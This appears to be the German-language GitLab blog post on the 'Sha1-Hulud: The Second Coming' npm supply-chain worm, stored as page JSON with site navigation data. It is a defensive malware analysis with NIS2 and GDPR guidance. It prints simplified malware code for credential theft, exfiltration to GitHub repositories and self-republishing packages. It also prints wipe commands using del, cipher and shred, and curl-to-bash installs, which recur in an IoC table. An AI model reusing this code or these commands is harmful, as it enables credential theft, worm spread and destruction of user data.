[{"data":1,"prerenderedAt":771},["ShallowReactive",2],{"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-de-de":37,"banner-de-de":441,"footer-de-de":451,"blog-post-authors-de-de-Michael Henriksen|Daniel Abeles":656,"blog-related-posts-de-de-gitlab-discovers-widespread-npm-supply-chain-attack":682,"assessment-promotions-de-de":722,"next-steps-de-de":761},{"id":4,"title":5,"authorSlugs":6,"body":9,"categorySlug":10,"config":11,"content":15,"description":9,"extension":26,"isFeatured":12,"meta":27,"navigation":12,"path":28,"publishedDate":20,"seo":29,"stem":33,"tagSlugs":34,"__hash__":36},"blogPosts/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","Gitlab Discovers Widespread Npm Supply Chain Attack",[7,8],"michael-henriksen","daniel-abeles",null,"security",{"featured":12,"template":13,"slug":14},true,"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"title":16,"description":17,"heroImage":18,"body":19,"date":20,"category":10,"tags":21,"authors":23},"GitLab identifiziert aktiven Lieferketten-Angriff auf npm","Tutorial zur systematischen Bedrohungsanalyse mit IoC-Tabelle für sofortige Überprüfung deutscher Systeme. Koordinierte Reaktion erforderlich.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabs Vulnerability-Research-Team hat einen großflächigen aktiven Lieferketten-Angriff auf das npm-Ökosystem identifiziert. Die Bedrohung involviert eine hochentwickelte Malware-Variante mit destruktiven Fähigkeiten. Das interne Monitoring-System entdeckte mehrere infizierte Pakete mit einer weiterentwickelten Version der \"[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)\"-Malware.\n\nDie Analyse zeigt wurmartige Verbreitungsmechanismen, die automatisch weitere Pakete infizieren, die von betroffenen Entwicklerinnen und Entwicklern verwaltet werden. Am kritischsten ist die Entdeckung eines **\"Dead-Man's-Switch\"-Mechanismus**: Falls die Verbreitungs- und Exfiltrationskanäle der Malware gekappt werden, droht die Zerstörung von Nutzerdaten.\n\n**GitLab verwendet keine der schadhaften Pakete. Diese Erkenntnisse werden mit der Security-Community geteilt, um eine wirksame Reaktion zu ermöglichen.**\n\n## NIS2-Relevanz und Meldepflichten\n\nDieser Supply-Chain-Angriff fällt unter die NIS2-Richtlinie Artikel 21 (Cybersecurity-Risikomanagement-Maßnahmen) und Artikel 23 (Meldepflichten). Wesentliche und wichtige Einrichtungen in Deutschland müssen bei erkannten Kompromittierungen:\n\n- **Innerhalb 24 Stunden** eine Früherkennung an zuständige Behörden übermitteln\n- Systematische Risikobewertung der eigenen Lieferkette durchführen\n- Technische und organisatorische Maßnahmen zur Schwachstellenerkennung implementieren\n\nDSGVO Artikel 32 ist ebenfalls relevant: Die Credential-Exfiltration durch diese Malware stellt unbefugten Zugang zu personenbezogenen Daten dar und erfordert angemessene technische Sicherheitsmaßnahmen.\n\n## Reaktions-Checkliste für deutsche Unternehmen\n\n**Sofortige Überprüfung (innerhalb 1-2 Stunden):**\n\n1. **npm-Pakete scannen**: `npm audit` in allen Projekten ausführen\n2. **Filesystem-Scan**: Suche nach IoC-Indikatoren (siehe Tabelle unten)\n3. **GitHub-Repository-Check**: Suche nach \"Sha1-Hulud: The Second Coming\" in Beschreibungen\n4. **Token-Audit**: Überprüfung aller npm- und GitHub-Tokens auf unbefugte Zugriffe\n\n**Systematische Analyse (24-48 Stunden):**\n\n1. Prüfung aller `package.json`-Dateien auf `preinstall`-Scripts mit Bun-Installationen\n2. Netzwerkverkehr-Analyse auf Verbindungen zu unbekannten GitHub-Repositories\n3. Credential-Management-Review gemäß DSGVO Artikel 32\n\n**Koordinierte Reaktion:** Vermeidung von massenhafter Token-Sperrung ohne Abstimmung – der Dead-Man's-Switch könnte Datenverlust auf Tausenden Systemen auslösen.\n\n## Anatomie des Angriffs\n\nDas interne Monitoring-System, das Open-Source-Paket-Registries auf schädliche Pakete scannt, identifizierte mehrere npm-Pakete mit hochentwickelter Malware. Diese führt aus:\n\n- Harvesting von Credentials (GitHub, npm, AWS, GCP, Azure)\n- Exfiltration gestohlener Daten zu Attacker-kontrollierten GitHub-Repositories\n- Automatische Propagierung durch Infektion weiterer Pakete der Opfer\n- **Destruktive Payload, die bei Infrastruktur-Verlust aktiviert wird**\n\nMehrere infizierte Pakete sind bestätigt. Der wurmartige Propagierungsmechanismus bedeutet, dass viele weitere Pakete kompromittiert sein dürften. Die Untersuchung läuft, um den vollständigen Umfang zu erfassen.\n\n## Technische Analyse: Systematischer Bedrohungsverlauf\n\n![Mermaid-Chart des Angriffsverlaufs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\nDie systematische Analyse des Bedrohungsverlaufs zeigt sieben distinkte Stufen: Von der initialen Infektion über Credential-Harvesting und Exfiltration bis zur Supply-Chain-Propagierung. Der Dead-Man's-Switch bildet eine Entscheidungsverzweigung: Bei Infrastruktur-Zugriff erfolgt Exfiltration, bei Verlust beider Kanäle (GitHub und npm) wird Datenzerstörung ausgelöst.\n\nDiese systematische Darstellung ermöglicht es deutschen Sicherheitsteams, an mehreren Punkten der Kill Chain Detektionsmaßnahmen zu implementieren – ein Ansatz, der mit NIS2 Artikel 21 (mehrschichtige Sicherheitsmaßnahmen) harmoniert.\n\n### Initialer Infektionsvektor\n\nDie Malware infiltriert Systeme durch einen sorgfältig konzipierten mehrstufigen Ladeprozess. Infizierte Pakete enthalten eine modifizierte `package.json` mit einem Preinstall-Script, das auf `setup_bun.js` verweist. Dieses Loader-Script erscheint harmlos – es gibt vor, die Bun-JavaScript-Runtime zu installieren, ein legitimes Werkzeug. Der tatsächliche Zweck ist jedoch die Etablierung der Malware-Ausführungsumgebung.\n\n```javascript\n// Diese Datei wird den Opfer-Paketen als setup_bun.js hinzugefügt\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Lädt und installiert Bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Führt die eigentliche Malware aus\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\nDer `setup_bun.js`-Loader lädt die Bun-Runtime oder lokalisiert sie auf dem System, führt dann die gebündelte `bun_environment.js`-Payload aus – eine 10 MB große obfuskierte Datei, die bereits im infizierten Paket vorhanden ist. Dieser Ansatz bietet mehrere Evasion-Schichten: Der initiale Loader ist klein und scheinbar legitim, während der eigentliche schädliche Code stark obfuskiert und in eine Datei gebündelt ist, die für beiläufige Inspektion zu groß ist.\n\n**ISO 27001 A.12.6-Relevanz:** Diese Evasion-Technik unterstreicht die Notwendigkeit systematischer Preinstall-Script-Überprüfung. Deutsche Unternehmen sollten CI/CD-Pipelines so konfigurieren, dass unerwartete Runtime-Downloads während Paket-Installationen gemeldet werden.\n\n### Credential-Harvesting\n\nNach Ausführung beginnt die Malware sofort mit Credential-Discovery über mehrere Quellen:\n\n- **GitHub-Tokens**: Suche in Umgebungsvariablen und GitHub-CLI-Konfigurationen nach Tokens beginnend mit `ghp_` (GitHub Personal Access Token) oder `gho_` (GitHub OAuth Token)\n- **Cloud-Credentials**: Enumeration von AWS-, GCP- und Azure-Credentials mittels offizieller SDKs, Prüfung von Umgebungsvariablen, Config-Dateien und Metadaten-Services\n- **npm-Tokens**: Extraktion von Tokens für Paket-Publishing aus `.npmrc`-Dateien und Umgebungsvariablen – gängige Speicherorte für sicher abgelegte sensible Konfigurationen und Credentials\n- **Filesystem-Scanning**: Download und Ausführung von Trufflehog, einem legitimen Security-Tool, um das gesamte Home-Verzeichnis nach API-Keys, Passwörtern und anderen Secrets in Konfigurationsdateien, Quellcode oder Git-History zu durchsuchen\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scannt das Home-Verzeichnis auf Secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Lädt Funde zum Exfiltrations-Repository hoch\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n**DSGVO Artikel 32-Implikation:** Diese umfassende Credential-Exfiltration stellt einen Fall von \"unbefugtem Zugang zu personenbezogenen Daten\" dar, wie in DSGVO Artikel 32 Absatz 2 beschrieben. Organisationen müssen technische Maßnahmen implementieren, um Credentials vom Filesystem zu isolieren – beispielsweise durch Nutzung von Secrets-Management-Systemen statt Umgebungsvariablen.\n\n### Exfiltrations-Netzwerk\n\nDie Malware nutzt gestohlene GitHub-Tokens, um öffentliche Repositories mit einer spezifischen Markierung in deren Beschreibung zu erstellen: \"Sha1-Hulud: The Second Coming.\" Diese Repositories dienen als Dropboxes für gestohlene Credentials und Systeminformationen.\n\n```javascript\nasync function createRepo(name) {\n  // Erstellt ein Repository mit spezifischer Beschreibungs-Markierung\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Markierung zum späteren Auffinden\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Installiert GitHub-Actions-Runner für Persistenz\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installiert Self-Hosted-Runner\n  }\n\n  return repo;\n}\n```\n\n**Systematische Detektionsmöglichkeit:** Die explizite Markierung \"Sha1-Hulud: The Second Coming\" ermöglicht deutschen Sicherheitsteams eine reproduzierbare Suchmethode. Durch GitHub-Suche nach dieser exakten Zeichenfolge lassen sich kompromittierte Developer-Accounts systematisch identifizieren – ein Ansatz, der mit NIS2 Artikel 21 (Fähigkeit zur systematischen Vorfallserkennung) harmoniert.\n\nKritisch: Falls das initiale GitHub-Token unzureichende Berechtigungen besitzt, durchsucht die Malware andere kompromittierte Repositories mit derselben Markierung, um Tokens von anderen infizierten Systemen abzurufen. Dies schafft ein resilientes Botnet-artiges Netzwerk, in dem kompromittierte Systeme Access-Tokens teilen.\n\n```javascript\n// Token-Sharing im Malware-Netzwerk:\nasync fetchToken() {\n  // Suche auf GitHub nach Repositories mit Identifikations-Markierung\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Versuch, Tokens aus kompromittierten Repos abzurufen\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Token von anderem infizierten System nutzen\n    }\n  }\n  return null;  // Keine gültigen Tokens im Netzwerk gefunden\n}\n```\n\n**NIS2 Artikel 22-Relevanz:** Dieses selbstheilende Netzwerk erfordert koordinierte Sicherheits-Risikobewertungen kritischer Lieferketten. Einzelne Token-Sperrungen sind unzureichend – eine systematische, abgestimmte Reaktion ist erforderlich, um das Netzwerk zu stören, ohne den Dead-Man's-Switch auszulösen.\n\n### Supply-Chain-Propagierung\n\nMittels gestohlener npm-Tokens führt die Malware aus:\n\n1. Download aller vom Opfer verwalteten Pakete\n2. Injektion des `setup_bun.js`-Loaders in die Preinstall-Scripts jedes Pakets\n3. Bundling der schadhaften `bun_environment.js`-Payload\n4. Inkrementierung der Paket-Versionsnummer\n5. Republishing der infizierten Pakete zu npm\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // Download Original-Paket\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extraktion und Modifikation von package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Hinzufügen schadhaften Preinstall-Scripts\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Inkrementierung Version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundling Backdoor-Installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackaging und Publishing\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n**NIS2 Artikel 21(2)(d)-Implikation:** Dies illustriert Supply-Chain-Sicherheitsaspekte im Zusammenhang mit direkten Lieferanten und Service-Providern. npm-Token-Sicherheit wird zum kritischen Kontrollpunkt – Kompromittierung eines einzelnen Entwickler-Accounts führt zur exponentiellen Verbreitung über dessen gesamtes Paket-Portfolio.\n\n**Prävention:** Implementierung von OIDC-basierter keyless Authentication für npm-Publishing (wie in GitLab CI/CD verfügbar) eliminiert langlebige Tokens und reduziert das Credential-Theft-Risiko signifikant.\n\n## Der Dead-Man's-Switch\n\nDie Analyse deckte eine destruktive Payload auf, die zum Schutz der Malware-Infrastruktur gegen Takedown-Versuche konzipiert ist.\n\nDie Malware überwacht kontinuierlich ihren Zugang zu GitHub (für Exfiltration) und npm (für Propagierung). Falls ein infiziertes System Zugriff auf beide Kanäle simultan verliert, löst dies sofortige Datenzerstörung auf dem kompromittierten System aus. Auf Windows wird versucht, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben. Auf Unix-Systemen nutzt es `shred`, um Dateien vor Löschung zu überschreiben, wodurch Recovery nahezu unmöglich wird.\n\n```javascript\n// KRITISCH: Token-Validierungsfehler löst Zerstörung aus\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Versuch, GitHub-Zugang zu finden oder zu erstellen\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Suche nach Tokens in kompromittierten Repos\n\n    if (!fetchedToken) {  // Kein GitHub-Zugang möglich\n      if (npmToken) {\n        // Fallback zu reiner NPM-Propagierung\n        await El(npmToken);\n      } else {\n        // ZERSTÖRUNGS-TRIGGER: Kein GitHub UND kein NPM-Zugang\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Versuch, alle User-Dateien zu löschen und Disk-Sektoren zu überschreiben\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Überschreibt gelöschte Daten\n          ]);\n        } else {\n          // Versuch, alle schreibbaren Dateien im Home-Verzeichnis zu shreddern\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Überschreibt und löscht\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Entfernt leere Verzeichnisse\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\n**NIS2 Artikel 23-Implikation für Incident Response:** Dies schafft ein gefährliches Szenario. Falls GitHub massenweise die Repositories der Malware löscht oder npm Bulk-Revocation kompromittierter Tokens durchführt, könnten Tausende infizierter Systeme simultan Nutzerdaten zerstören. Die verteilte Natur des Angriffs bedeutet, dass jede infizierte Maschine unabhängig den Zugriff überwacht und bei erkanntem Takedown Löschung der Nutzerdaten auslöst.\n\n**Koordinierte Reaktionsplanung erforderlich:** Deutsche Unternehmen müssen NIS2 Artikel 23 (dreistufige Meldeverfahren) befolgen, aber auch vermeiden, voreilig Tokens zu sperren, ohne die Dead-Man's-Switch-Implikationen zu berücksichtigen. Systematische Planung mit zuständigen Behörden ist erforderlich.\n\n## Indicators of Compromise\n\nZur Unterstützung von Detection und Response: Umfassende Liste der identifizierten Key-Indicators of Compromise (IoCs).\n\n| Typ | Indikator | Beschreibung |\n| :---- | :---- | :---- |\n| **file** | `bun_environment.js` | Schadhafte Post-Install-Scripte in node\\_modules-Verzeichnissen |\n| **directory** | `.truffler-cache/` | Verstecktes Verzeichnis im User-Home für Trufflehog-Binary-Speicherung |\n| **directory** | `.truffler-cache/extract/` | Temporäres Verzeichnis für Binary-Extraktion |\n| **file** | `.truffler-cache/trufflehog` | Heruntergeladenes Trufflehog-Binary (Linux/Mac) |\n| **file** | `.truffler-cache/trufflehog.exe` | Heruntergeladenes Trufflehog-Binary (Windows) |\n| **process** | `del /F /Q /S \"%USERPROFILE%*\"` | Windows-Destruktiv-Payload-Befehl |\n| **process** | `shred -uvz -n 1` | Linux/Mac-Destruktiv-Payload-Befehl |\n| **process** | `cipher /W:%USERPROFILE%` | Windows-Secure-Deletion-Befehl in Payload |\n| **command** | `curl -fsSL https://bun.sh/install \\| bash` | Verdächtige Bun-Installation während NPM-Paket-Installation |\n| **command** | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | Windows-Bun-Installation via PowerShell |\n\n**Systematische Überprüfung:** Deutsche Sicherheitsteams können diese IoC-Tabelle für Filesystem-Scans nutzen. Die Präsenz eines dieser Indikatoren erfordert sofortige Isolation des betroffenen Systems und Token-Audit gemäß obiger Reaktions-Checkliste.\n\n## Ausblick\n\nDiese Kampagne repräsentiert eine Evolution in Supply-Chain-Angriffen: Die Androhung von Kollateralschäden wird zum primären Verteidigungsmechanismus für die Attacker-Infrastruktur. Die Untersuchung läuft, während die Zusammenarbeit mit der Community erfolgt, um den vollständigen Umfang zu verstehen und sichere Remediation-Strategien zu entwickeln.\n\nGitLabs automatisierte Detektionssysteme überwachen kontinuierlich auf neue Infektionen und Varianten dieses Angriffs. Durch frühzeitiges Teilen der Erkenntnisse soll der Community geholfen werden, wirksam zu reagieren und dabei die Fallstricke des Dead-Man's-Switch-Designs zu vermeiden.\n\n**Für deutsche Unternehmen:** Nutzen von GitLabs internen Monitoring-Fähigkeiten durch Integration von Dependency-Scanning in CI/CD-Pipelines. Dies ermöglicht systematische Früherkennung schadhafter Pakete vor Production-Deployment – ein Ansatz, der sowohl NIS2 Artikel 21 als auch DSGVO Artikel 32 erfüllt.","2025-11-24",[10,22],"security research",[24,25],"Michael Henriksen","Daniel Abeles","yml",{},"/de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":30,"title":16,"description":32},{"noIndex":31},false,"Die Malware enthält einen 'Dead-Man's-Switch'-Mechanismus, der bei Unterbrechung der Infrastruktur Nutzerdaten zerstören kann. NIS2-Meldepflicht beachten.","de-de/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[10,35],"security-research","iyBh3YsJOERnyPw5caIzc1gwlgrdNxuVfB0elFz1Z0Y",{"data":38},{"logo":39,"freeTrial":44,"sales":49,"login":54,"items":59,"search":368,"minimal":403,"duo":421,"pricingDeployment":431},{"config":40},{"href":41,"dataGaName":42,"dataGaLocation":43},"/de-de/","gitlab logo","header",{"text":45,"config":46},"Kostenlose Testversion anfordern",{"href":47,"dataGaName":48,"dataGaLocation":43},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":50,"config":51},"Vertrieb kontaktieren",{"href":52,"dataGaName":53,"dataGaLocation":43},"/de-de/sales/","sales",{"text":55,"config":56},"Anmelden",{"href":57,"dataGaName":58,"dataGaLocation":43},"https://gitlab.com/users/sign_in/","sign in",[60,87,183,188,289,349],{"text":61,"config":62,"cards":64},"Plattform",{"dataNavLevelOne":63},"platform",[65,71,79],{"title":61,"description":66,"link":67},"Die intelligente Orchestrierungsplattform für DevSecOps",{"text":68,"config":69},"Erkunde unsere Plattform",{"href":70,"dataGaName":63,"dataGaLocation":43},"/de-de/platform/",{"title":72,"description":73,"link":74},"GitLab Duo Agent Platform","Agentische KI für den gesamten Softwareentwicklungszyklus",{"text":75,"config":76},"Lerne GitLab Duo kennen",{"href":77,"dataGaName":78,"dataGaLocation":43},"/de-de/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":80,"description":81,"link":82},"Gründe, die für GitLab sprechen","Erfahre, warum Unternehmen auf GitLab setzen",{"text":83,"config":84},"Mehr erfahren",{"href":85,"dataGaName":86,"dataGaLocation":43},"/de-de/why-gitlab/","why gitlab",{"text":88,"left":12,"config":89,"link":91,"lists":95,"footer":165},"Produkt",{"dataNavLevelOne":90},"solutions",{"text":92,"config":93},"Alle Lösungen anzeigen",{"href":94,"dataGaName":90,"dataGaLocation":43},"/de-de/solutions/",[96,121,143],{"title":97,"description":98,"link":99,"items":104},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":100},{"icon":101,"href":102,"dataGaName":103,"dataGaLocation":43},"AutomatedCodeAlt","/de-de/solutions/delivery-automation/","automated software delivery",[105,109,112,117],{"text":106,"config":107},"CI/CD",{"href":108,"dataGaLocation":43,"dataGaName":106},"/de-de/solutions/continuous-integration/",{"text":72,"config":110},{"href":77,"dataGaLocation":43,"dataGaName":111},"gitlab duo agent platform - product menu",{"text":113,"config":114},"Quellcodeverwaltung",{"href":115,"dataGaLocation":43,"dataGaName":116},"/de-de/solutions/source-code-management/","Source Code Management",{"text":118,"config":119},"Automatisierte Softwarebereitstellung",{"href":102,"dataGaLocation":43,"dataGaName":120},"Automated software delivery",{"title":122,"description":123,"link":124,"items":129},"Sicherheit","Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":125},{"href":126,"dataGaName":127,"dataGaLocation":43,"icon":128},"/de-de/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[130,134,139],{"text":131,"config":132},"Application Security Testing",{"href":126,"dataGaName":133,"dataGaLocation":43},"Application security testing",{"text":135,"config":136},"Schutz der Software-Lieferkette",{"href":137,"dataGaLocation":43,"dataGaName":138},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":140,"config":141},"Software Compliance",{"href":142,"dataGaName":140,"dataGaLocation":43},"/de-de/solutions/software-compliance/",{"title":144,"link":145,"items":150},"Bewertung",{"config":146},{"icon":147,"href":148,"dataGaName":149,"dataGaLocation":43},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[151,155,160],{"text":152,"config":153},"Sichtbarkeit und Bewertung",{"href":148,"dataGaLocation":43,"dataGaName":154},"Visibility and Measurement",{"text":156,"config":157},"Wertstrommanagement",{"href":158,"dataGaLocation":43,"dataGaName":159},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":161,"config":162},"Analysen und Einblicke",{"href":163,"dataGaLocation":43,"dataGaName":164},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":166,"items":167},"GitLab für",[168,173,178],{"text":169,"config":170},"Enterprise",{"href":171,"dataGaLocation":43,"dataGaName":172},"/de-de/enterprise/","enterprise",{"text":174,"config":175},"Kleinunternehmen",{"href":176,"dataGaLocation":43,"dataGaName":177},"/de-de/small-business/","small business",{"text":179,"config":180},"den öffentlichen Sektor",{"href":181,"dataGaLocation":43,"dataGaName":182},"/de-de/solutions/public-sector/","public sector",{"text":184,"config":185},"Preise",{"href":186,"dataGaName":187,"dataGaLocation":43,"dataNavLevelOne":187},"/de-de/pricing/","pricing",{"text":189,"config":190,"link":192,"lists":196,"feature":276},"Ressourcen",{"dataNavLevelOne":191},"resources",{"text":193,"config":194},"Alle Ressourcen anzeigen",{"href":195,"dataGaName":191,"dataGaLocation":43},"/de-de/resources/",[197,230,248],{"title":198,"items":199},"Erste Schritte",[200,205,210,215,220,225],{"text":201,"config":202},"Installieren",{"href":203,"dataGaName":204,"dataGaLocation":43},"/de-de/install/","install",{"text":206,"config":207},"Kurzanleitungen",{"href":208,"dataGaName":209,"dataGaLocation":43},"/de-de/get-started/","quick setup checklists",{"text":211,"config":212},"Lernen",{"href":213,"dataGaLocation":43,"dataGaName":214},"https://university.gitlab.com/","learn",{"text":216,"config":217},"Produktdokumentation",{"href":218,"dataGaName":219,"dataGaLocation":43},"https://docs.gitlab.com/","product documentation",{"text":221,"config":222},"Best-Practice-Videos",{"href":223,"dataGaName":224,"dataGaLocation":43},"/de-de/getting-started-videos/","best practice videos",{"text":226,"config":227},"Integrationen",{"href":228,"dataGaName":229,"dataGaLocation":43},"/de-de/integrations/","integrations",{"title":231,"items":232},"Entdecken",[233,238,243],{"text":234,"config":235},"Kundenerfolge",{"href":236,"dataGaName":237,"dataGaLocation":43},"/de-de/customers/","customer success stories",{"text":239,"config":240},"Blog",{"href":241,"dataGaName":242,"dataGaLocation":43},"/de-de/blog/","blog",{"text":244,"config":245},"Remote",{"href":246,"dataGaName":247,"dataGaLocation":43},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":249,"items":250},"Vernetzen",[251,256,261,266,271],{"text":252,"config":253},"GitLab-Services",{"href":254,"dataGaName":255,"dataGaLocation":43},"/de-de/services/","services",{"text":257,"config":258},"Community",{"href":259,"dataGaName":260,"dataGaLocation":43},"/community/","community",{"text":262,"config":263},"Forum",{"href":264,"dataGaName":265,"dataGaLocation":43},"https://forum.gitlab.com/","forum",{"text":267,"config":268},"Veranstaltungen",{"href":269,"dataGaName":270,"dataGaLocation":43},"/events/","events",{"text":272,"config":273},"Partner",{"href":274,"dataGaName":275,"dataGaLocation":43},"/de-de/partners/","partners",{"backgroundColor":277,"textColor":278,"text":279,"image":280,"link":284},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":281,"config":282},"the source promo card",{"src":283},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":285,"config":286},"Lies die News",{"href":287,"dataGaName":288,"dataGaLocation":43},"/de-de/the-source/","the source",{"text":290,"config":291,"lists":293},"Unternehmen",{"dataNavLevelOne":292},"company",[294],{"items":295},[296,301,307,309,314,319,324,329,334,339,344],{"text":297,"config":298},"Über",{"href":299,"dataGaName":300,"dataGaLocation":43},"/de-de/company/","about",{"text":302,"config":303,"footerGa":306},"Karriere",{"href":304,"dataGaName":305,"dataGaLocation":43},"/jobs/","jobs",{"dataGaName":305},{"text":267,"config":308},{"href":269,"dataGaName":270,"dataGaLocation":43},{"text":310,"config":311},"Geschäftsführung",{"href":312,"dataGaName":313,"dataGaLocation":43},"/company/team/e-group/","leadership",{"text":315,"config":316},"Team",{"href":317,"dataGaName":318,"dataGaLocation":43},"/company/team/","team",{"text":320,"config":321},"Handbuch",{"href":322,"dataGaName":323,"dataGaLocation":43},"https://handbook.gitlab.com/","handbook",{"text":325,"config":326},"Investor Relations",{"href":327,"dataGaName":328,"dataGaLocation":43},"https://ir.gitlab.com/","investor relations",{"text":330,"config":331},"Trust Center",{"href":332,"dataGaName":333,"dataGaLocation":43},"/de-de/security/","trust center",{"text":335,"config":336},"AI Transparency Center",{"href":337,"dataGaName":338,"dataGaLocation":43},"/de-de/ai-transparency-center/","ai transparency center",{"text":340,"config":341},"Newsletter",{"href":342,"dataGaName":343,"dataGaLocation":43},"/company/contact/#contact-forms","newsletter",{"text":345,"config":346},"Presse",{"href":347,"dataGaName":348,"dataGaLocation":43},"/press/","press",{"text":350,"config":351,"lists":352},"Kontakt",{"dataNavLevelOne":292},[353],{"items":354},[355,358,363],{"text":50,"config":356},{"href":52,"dataGaName":357,"dataGaLocation":43},"talk to sales",{"text":359,"config":360},"Support-Portal",{"href":361,"dataGaName":362,"dataGaLocation":43},"https://support.gitlab.com","support portal",{"text":364,"config":365},"Kundenportal",{"href":366,"dataGaName":367,"dataGaLocation":43},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":369,"login":370,"suggestions":377},"Schließen",{"text":371,"link":372},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":373,"config":374},"gitlab.com",{"href":57,"dataGaName":375,"dataGaLocation":376},"search login","search",{"text":378,"default":379},"Vorschläge",[380,382,387,389,394,399],{"text":72,"config":381},{"href":77,"dataGaName":72,"dataGaLocation":376},{"text":383,"config":384},"Code Suggestions (KI)",{"href":385,"dataGaName":386,"dataGaLocation":376},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":106,"config":388},{"href":108,"dataGaName":106,"dataGaLocation":376},{"text":390,"config":391},"GitLab auf AWS",{"href":392,"dataGaName":393,"dataGaLocation":376},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":395,"config":396},"GitLab auf Google Cloud",{"href":397,"dataGaName":398,"dataGaLocation":376},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":400,"config":401},"Warum GitLab?",{"href":85,"dataGaName":402,"dataGaLocation":376},"Why GitLab?",{"freeTrial":404,"mobileIcon":409,"desktopIcon":414,"secondaryButton":417},{"text":405,"config":406},"Kostenlos testen",{"href":407,"dataGaName":48,"dataGaLocation":408},"https://gitlab.com/-/trials/new/","nav",{"altText":410,"config":411},"GitLab-Symbol",{"src":412,"dataGaName":413,"dataGaLocation":408},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":410,"config":415},{"src":416,"dataGaName":413,"dataGaLocation":408},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":198,"config":418},{"href":419,"dataGaName":420,"dataGaLocation":408},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/compare/gitlab-vs-github/","get started",{"freeTrial":422,"mobileIcon":427,"desktopIcon":429},{"text":423,"config":424},"Erfahre mehr über GitLab Duo",{"href":425,"dataGaName":426,"dataGaLocation":408},"/de-de/gitlab-duo/","gitlab duo",{"altText":410,"config":428},{"src":412,"dataGaName":413,"dataGaLocation":408},{"altText":410,"config":430},{"src":416,"dataGaName":413,"dataGaLocation":408},{"freeTrial":432,"mobileIcon":437,"desktopIcon":439},{"text":433,"config":434},"Zurück zur 